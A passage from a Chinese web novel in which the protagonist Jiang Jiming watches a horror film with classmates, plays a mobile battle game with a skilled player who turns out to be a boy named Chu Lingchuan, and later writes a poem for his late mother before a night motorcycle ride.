江霁明不睬他,转回头继续看电影。
等电影结束的时候,江霁明坐在座位上,无语地看着两边抓着自己的手。
自己这是买了一张票,看了两场大戏。
“姜明同学,这部电影拍的还是不错的。
原来女主角为了抢闺蜜的男友,联同那人害死了她,导致对方化身厉鬼来报仇啊。”
难为你还记得剧情啊,看你期间忙着抓我手的样子,我以为你完全没看呢。
“对啊对啊,姜明,好好看啊!我真没猜到那个玩偶里头原来缝着女鬼的五官呢!”
你不是一直闭着眼睛躲在我的背后吗?刚才低头是在某瓣查剧情吧。
江霁明站起身,不发一言,直直地走出去。
他单手理了理自己自己发皱的衬衫,扭头给了两人一个意味不明的眼神。
看着江霁明的动作,两人自知理亏,同时默默地跟上了。
吃饭的时候,谢知韫提出了一个刚才就埋在心里很久的问题。
“那个,冒昧问一下,姜明同学,你的脖子是受伤了吗?”
他的手指了指江霁明脖子上贴着的一个白色创口贴。
本来没什么奇怪的,但关键是这个创口贴上有着颗蓝色的爱心。
和江霁明本人的风格严重不符,一看就是别人给的。
江霁明这才想起来,昨晚在酒吧的时候,顾鸣飞一眼就看到了他脖子上的血痕。
他哇哇大叫着要打120,被江霁明制止了,退而求其次,被对方消毒后贴上了一个爱心创口贴。
顾鸣飞表示这其中蕴含了他浓浓的发小情谊。
江霁明觉得这颜色挺好看的,也就没多说什么。
这会儿被问到,看着叶峻也似是突然发现后投来的担忧视线,江霁明不慌不忙地夹了一颗肉丸,随口回道:
“不小心被书划到了。”
片刻,他又坏心眼地补充了一句:
“创口贴是朋友送的。”
哪个朋友会送带爱心的创口贴啊!
对面的两人都陷入了沉默。
谢知韫正思索着这未知的情敌,没想到自己的计划途中会出现如此多变数。
又想了想姜明,释然了,他那么优秀,喜欢他的人肯定很多。自己要做好面对众多情敌的准备。
叶峻又陷入了友情大危机,觉得自己这么迟才发现姜明受伤了,是不是不配当他的朋友,肯定马上就要被抛弃了。
江霁明悠闲地吃着饭,欣赏着面前的一幕,就当报复刚刚在电影院打扰他看电影了。
吃完饭,江霁明婉拒了两人下午的邀约,无视他们不舍的眼神,独自回到了家里。
终于,可以享受当宅男的日子了。
002已经在它自己的电子屏幕上看了十部番了。
江霁明原本还想继续看完桌上的悬疑小说,此刻也没什么心思了。
他打开手机,下载了一个竞技类游戏。
之前,顾鸣飞就一直求他玩,说是可以和他一起开黑,如果他不会可以带他起飞。
但江霁明不想打游戏的时候耳边充斥着对方的波浪音,所以他一直表示没兴趣。
此时,他用一个小号登陆了游戏。
小号的好友界面没有任何人。
江霁明快速地看了一遍新手教程,完成任务后便开始随机匹配第一场娱乐局。
匹配到的四个人里,有一个粉红色的女生头像。
原本其他楼的人都已经定好了位子,江霁明选择了一个穿着海蓝色法师袍的角色,走中路。
但那个一直没说话的女生突然在框内发了一条消息:
梦幻玫瑰:「打野给我,带飞。」
这句话像是往平静湖面丢了一块石头。
1楼:「妹子,我知道最近打
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游戏厉害的女生很多。我也没有看不起女生的意思,但看你这战绩,胜率不足30%,实在堪忧啊!」
而2楼选的是打野,他的语气就没前面人委婉。
2楼:「呵呵,真的很讨厌一些没有自知之明的人。别以为你是女生我就会让着你,乖乖当你的辅助去吧!看着爷是怎么打的。」
3楼是江霁明,他看着这一幕,没说话。因为他其实还不怎么会玩,不知道有什么好抢的。
看法师蓝色的衣摆流动着星辰的光辉,像是披着一条星河,非常符合他的审美,他就选了。
5楼是看热闹不嫌事大。
5楼:「看妹子你这语气,感觉牛逼哄哄啊!难道你真能带飞吗?不会是说大话吧!」
梦幻玫瑰:「给我,不然我就挂机。」
那女生根本不管其他人说什么,直接上威胁。
气得2楼直接爆粗口。
2楼:「你他妈这么拽,行行行,给你给你,看你能打成什么样!输了就举报你消极比赛!」
2楼的人看起来不想打四对五的比赛,这会拉低他面板胜率,让这女生打,说不定她真会玩呢!
其他人看打野本人也松口了,便也没多说。
游戏一开始,梦幻玫瑰操控着白衣刺客的角色就往野区里冲。
这刷野的速度不是一般的快,当江霁明还慢悠悠地在中路对线试探时,刺客已经偷到了对家野区。
江霁明对角色的操作还不是很熟练,但他还是有意识在的,险险地躲开了对面的大招。
然后他打算先回塔下,靠塔吃一点兵线,他的大招还没点出来。
就在这时,一个白衣刺客突然出现在他面前,几招绚丽的技能就把对面打得只剩一滴血。
没错,剩了一滴血没打死,对方转身已经要跑了。
江霁明正疑惑的时候,就看见队友频道出现一句话:
梦幻玫瑰:「法师收人头。」
见此,江霁明也没犹豫,快速地移动角色,预判着对面人逃跑的路线,远远地放了一个蓝色法球,精准命中。
FirstBlood!
听到游戏提示音的声音,江霁明勾了下嘴角,享受到了被送人头拿到一杀的快乐。
002A:「多谢,感觉不赖。」
刺客沉默了片刻,又回了一句话。
梦幻玫瑰:「你是新手?打不过告诉我。」
语气霸道至极,女友力Max。
江霁明看到这话,直接笑出声。
行吧,自己是新手的事实表现得这么明显吗?这女生还挺酷。
002A:「那我放飞自我了?」
刺客刷野的动作没有停顿,同时干巴巴地发了一句:
梦幻玫瑰:「好。」
说是这么说,江霁明也没完全靠着对方。他学东西的天赋很高,渐渐地也对这个角色上手了。
只是每次他不小心被对面的攻击打到,还没反应过来,刺客就不知道从哪里冒出来,冷酷地把对方打成残血。
像是随时都关注着这边的战况。
其他队友已经被惊讶得说不出话来了,原本见这女生操作这么牛逼,他们还在聊天框里吹捧了一番。
现在也只能羡慕嫉妒恨地看着江霁明的战绩变成15/0/5。
连对面中路的人都不再冒头了,简直见了江霁明就绕道走,生怕碰上那个一言不合就砍人的疯子。
打到最后,对面直接投降了。
结算时,江霁明的法师凭着21/0/7的完美战绩,轻松夺得MVP的称号。
退出房间的时候,江霁明看见申请列表里的粉红头像,心情很好地点了同意。
然后立刻收到了一条聊天消息。
梦幻玫瑰:「第一次玩成这样,你很有天赋。」
002A:「你让我觉得这个游戏挺简单啊。」
梦幻玫瑰:「嗯,我说过,带飞。」
字里字外都挺拽的。
梦幻玫瑰:「要不要带你双排打段位?我也是青铜。」
002A:「行啊,不要白不要。」
江霁明窝在沙发里,懒洋洋地回了一句。
进了房间,江霁明发了一条语音消息。
002A:语音消息
(一会儿打的时候,我不说你别出手,不然平推没意思。我要练练手。)
对面突然陷入了诡异的沉默。
好半天,对方才打了几个字。
梦幻玫瑰:「好的,打不过记得叫我。」
另一头的人反复点开那条消息,听了一遍又一遍。
莫名被火燎了耳朵。
烫极了。
21. 情侣匹配
当那人再次点开那条语音消息时,只觉全身的血都聚集到了一个部位。
手机里,男生的嗓音低沉悦耳,腔调懒散极了,带着点儿水汽润过的哑,和自己的心跳声共振了一下。
“我回来啦!哥!刚刚那局打的怎么样?赢了没?肯定打得对面跪地投降吧!给我吧。”
女孩伸出的手却被躲过了,男生急急地回了一句:
“别别别,我今天心情好,大发慈悲再帮你这个小菜鸡刷刷段位吧!不要太感谢,下次别跟我抢鸡腿就行。”
说着,楚翎川伸手将扎着的红发揉乱了,然后又莫名其妙地侧了个身坐着。
坐好后,他的手指快速点了匹配按钮,漆黑的眼睛盯着旁边那个黑猫的头像。
加载的时候,他发现对面匹配到了2+2+1的局,即两对情侣和一条狗(?)。
一般这种情况下,崩溃的都是那条狗。对于己方来说,胜率自然大大提高了。
选角色时,倒是比上一局和平。大概因为都是新手,打野的位置操作难度很高,菜鸟一般不敢轻易尝试。
所以,楚翎川第一时间锁定打野的行为,并未遭到质疑。
而他看了眼黑猫头像继续锁定的蓝袍青年法师,鬼使神差地选了个红发狐耳少年。
这次,楚翎川虽仍然关注着那人的战况,却也听话地并未轻易上前帮忙抢线。
很快,屏幕便响起了“FirstBlood”的提示音,他露出了一丝带着点欣慰的笑意。
对方对角色的上手速度很快。
这次,没有自己的帮助,他也成功地独自拿了一杀。
己方的开局优势大好,楚翎川觉得这局应该很快就可以结束。
但当他随意地清着野区,顺便抓抓对面的孤儿射手时,全部聊天框内出现了一条消息。
情悦三分:「老公,快来帮我,我被对面打死三次了呜呜呜!」
原来对面中路的女法师被002A打得出不了塔,开始向男朋友求救,却故意开了全部频道。
入情七分:「老婆,你等着,敢打你,看我不虐死他。」
看到这话,楚翎川眉心蹙了蹙,不爽地用舌头抵着自己的后槽牙。
现在中路是1v2,蓝袍法师一个人打对面的两人。
那个打野看起来技术还不错,应该是开了小号。
002A虽然对人物的熟练度提高了,但毕竟是个新手,让他一打二还是有点吃力的。
楚翎川看了看空空如也的队友频道,有点焦躁地又抓了抓头发,把角色埋伏在中路的草丛里。
就在这时,全体聊天框内又出现了一条消息。
002A:「玫瑰来收人头。」
原来,蓝袍法师凭着灵活的走位躲开了打野的攻击,专逮着女法师打。
再加上对面的女法师也不好好躲着,老是跳出来晃悠,已经被打得只剩一丝血了。
看到频道里的话,楚翎川莫名觉得心脏被什么撞了一下,撞得心头痒痒的。
梦幻玫瑰:「好。」
他打完字,操作着红狐少年,从草丛里跳出来就收割了女法师的人头。
而对面的打野被002A打残后也让给了自己。
这时,女法师不满地在屏幕里发了条消息。
情悦三分:「啊啊啊,你这个废物,你看人家男朋友多厉害,还给女朋友让人头!而你呢?二打一都打不过!」
入情七分:「那你怎么不看看你刚刚有多拖老子后腿?让你躲,不躲,还老是妨碍老子放技能!你怎么不说别人女朋友操作比你好一百倍呢?」
两个人开始在公屏对骂,原来的“老婆”“老公”不复存在。
其他人都开始在屏幕里发“哈哈哈”,尤其是对面的孤儿射手,发了n条,因为他的辅助还挂在上路的身上。
但是,楚翎川没心思笑。
他瞳孔微睁,看着“男朋友”三个字,胸腔间有什么在蔓延。
尤其是对面发了这些话后,002A并未回复什么。
他没有否认。
楚翎川只觉得脸颊发烫,有一丝奇怪的欣喜和雀跃在悄悄爬上他的心头。
这局的结果自然不必多言,对面都已经开始内讧了。
退出结算界面后,楚翎川纠结地看着聊天框,擦了擦手心的汗,打了两个字。
梦幻玫瑰:「那个,谢谢你的人头。」
002A:「不谢,还你的。」
002A:「你觉得我出师没?」
楚翎川看着这句话,滚了下喉结,他原来把自己当了师父吗?
梦幻玫瑰:「嗯,很厉害,出师了。那还打吗?我还挺空的。」
旁边的女孩正不满地嘟着嘴,伸手抓住了楚翎川的小辫子,一边扯一边大喊:
“臭鸟,快把手机还给我!不然我就告诉舅妈你欺负我!”
楚翎川被扯得头皮吃痛,低低地嘶了一声,一手按住表妹的头,眼睛还盯着聊天框。
002A:「不了,有点累。打算睡一觉。」
他强行压下心里涌起的失落感,手指快速地在屏幕上移动。
梦幻玫瑰:「那要不要加个联系方式?我这个是小号,下次用大号带你打排位。」
002A:「女孩子在网上还是要谨慎些,万一我是坏人怎么办?」
楚翎川躲开表妹的手,盘着腿坐着。
梦幻玫瑰:「我相信你。」
终于,楚翎川如愿以偿地拿到了对方的联系方式。
不过,在添加之前,他将自己的微信头像和网名全换了。
头像换成了一个可爱的白色蓝眼波斯猫,网名他搜了好久才决定下来——甜味少女喵。
感觉对方应该很喜欢猫咪,自己这样应该能提高点好感度吧!
想到这,楚翎川突然自我唾弃地锤了一下脑袋。
连对方长什么样都不知道,而且还是个男的,自己就想着加好感度了?恋爱脑吗?
但楚翎川一看到对方通过了自己的好友添加,就无情地将表妹的手机扔给了她。
“行了,还你,都被你抓秃了。下次别想让我帮你打。”
但等他点进对方的聊天界面,打字的手突然顿了顿。
对方说一会儿要睡一觉,感觉应该已经休息了,自己还是不要打扰他了。
看着对方的网名,楚翎川不知缘由地给他改了个备注——小徒弟。
这时,他的聊天界面突然弹出了密密麻麻的消息。
小弟1号:「你是谁?你连我老大的号都敢盗?」
小弟2号:「哇哇!哪里来的娘炮?敢盗我们楚哥的微信!活腻了吗?」
楚翎川不耐烦地通通回了一个“滚。”
然后他躺在床上,点开对方的朋友圈。
最新的一条是今天早上发的,拍了一盆花。
看不出来是什么品种,有点像白玫瑰染了些蓝色墨水。
配文:花又开了。
楚翎川点了个赞,又发了个评论。
甜味少女喵:「好漂亮的花,看起来养的很好。」
发完,他刷新了下页面,可惜没有回复,朋友圈也仅三天可见。
然后他又打开了被自己录下来的那条语音消息,循环播放,一边听一边重复刷新着。
不管这边的楚翎川如何焦灼地抓着脑袋,另一边的江霁明打完对面的情侣后,就放下手机,活动了下手指,所以没看到公屏的吵架。
退出游戏,江霁明看了眼外面暗下来的天色,就随便做了碗速食意面当晚饭。
江霁明的厨艺一般,至少吃不死人,但味道也好不到哪里去。
吃完饭,他坐在书桌前,从抽屉里拿出了一本漆黑的皮质笔记本。
回想起白天在影院边看到的一棵巨大榕树,江霁明在纸上落下几行字:
你可曾记得那小小孩童?像是在你枝头筑巢又离了你的鸟儿似的孩童。
他想做风,吹过你萧萧枝杈;想做你的影,在水面随日光俱长。【1】
但,你又在哪里?
落款只写了个日期:2017年9月8日
合上本子,江霁明静静地抚摸着手中的蓝色花瓣。
那时,他和母亲约定,每周自己都会送一首诗给她。
每次看到他的诗,女人都会在他的脸颊落下一个吻。
虽然母亲已离开三年有余,但江霁明却也改不掉这个习惯了。
文字有时能让人的心灵得到片刻宁静。
这时,002终于忍不住了,在江霁明的手心疯狂扭动:
【大...大人,虽然002只是一个系统,但如...如果你想,也不是不可以...我会想办法的!】
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江霁明:……差点忘了这已经被002附身了。
【想挺美啊。】
他冷酷地将002夹进本子里,洗完澡就睡觉去了。
一夜无梦。
晨曦微露,将墨色的天空染上了层浅淡的光亮,似是弹奏起黎明的序歌。
而江霁明也在这时睁开了眼睛。
今晚,他打算带自己的爱车去附近的那条盘山公路放放风。
广城本就偏僻,9点之后,那条路基本就看不见什么车了,很适合兜风。
为了避免被其他人打乱今日的计划,江霁明直接将手机关机。
等他终于将那本悬疑小说看完,天空也完全黑了下来。
离9点还有半个小时,江霁明便靠在沙发上,打开手机。
但当他点进微信的时候,屏幕突然卡了下,接着就是无数的红点。
看着这一幕,江霁明忍不住抽下了嘴角。
感觉自己的微信每天都好忙。
首先最上方的是叶峻,他的无数消息可以总结为一句核心主旨——
麻雀犬:「姜明,周一就要提交社团报名表了。你要不要和我一起参加田径部?」
麻雀犬:「小狗摇尾jpg.」
A:「不要。」
其次就是谢知韫,他又开始炫耀了——
龟毛男:「姜明同学,下周学校会安排一个物理杯的培训班,我已经向盛老师报名了,你肯定也会来吧。」
龟毛男:文件(广城职中关于物理杯的培训事项)
A:「再说。」
虽然剧本里原主确实参加了这个培训班,不过还是为了起到一个衬托男二的作用。
然后是顾鸣飞,在昨天给他打了工资之后,他就给他发了好几条消息——
撒娇怪:「阿明,我在酒店好无聊啊!我能不能来找你玩呢~没有你的日子我真是一秒都过不下去啦!」
撒娇怪:图片(一张堆满零食包装袋的桌子,边上还露出了一只戴满戒指的手,骨节分明)
A:「如果你再旷课,我现在就给你爸妈打电话,想来他们应该很想知道你现在在哪里。」
最后是昨天的那个女生。
看着对方的头像和名字,江霁明沉默了一瞬,二话不说就改了备注。
游戏高手:「你今天会上线吗?」
游戏高手:「我可以教你别的角色。我都挺厉害的。」
A:「今天有事,下次吧。」
等回完所有消息,江霁明松了一口气。
看到这一幕的002飘到江霁明的肩膀上,奇怪地问:
【大人,您为什么要回复他们呢?晾着他们不好吗?】
【不回复,后面会很麻烦。】
江霁明对此有丰富经验,他之前就晾过顾鸣飞。
结果是对方的缠人指数成倍增长,毕竟他们之后横竖都得见面。
为了今晚的兜风计划,江霁明换了身适合的衣服。
黑色紧身短袖外套了件白底黑纹的机车服,下身是条黑色迷彩工装裤,裤腿塞进了高帮的马丁靴里。
将眼镜塞进腰包,江霁明戴上白色的摩托头盔,只露出颈后一片墨蓝的发。
跨上摩托车,他挑了条人少的路,朝着目的地开去。
摩托车马达的轰鸣声打破了深夜的寂静,也吸引了阳台上男生的视线。
叶峻站在栏杆边,看着那一抹夜色中流动的蓝,似是彗星划过幕布留下的尾巴。
果然,那个人和姜明在同居。
上次不是他眼花。
但姜明在掩饰这一事实,他们是什么关系?
如果是正常室友关系,为什么要撒谎呢?
坐在床边,叶峻抱着蓝宝,感觉心头酸涩难耐,像是小时候吃的那串没熟透的葡萄,让他的眼角都开始湿润。
为什么会这么难受呢?只是因为姜明有了另一个更亲近的朋友吗?
朋友之间的嫉妒是这样的吗?心脏像是被划开了道口子,被人倒上了滚烫的烈酒。
自己对姜明真的只是兄弟情吗?
叶峻孤独地躺在床上,眼角落下一颗泪,滴在猫咪蓝色的眼睛上。
如果不是,那他是不是来不及了。
那不如从始至终都蒙在鼓里好了。
叶峻想。
继续当一个开心的蠢蛋。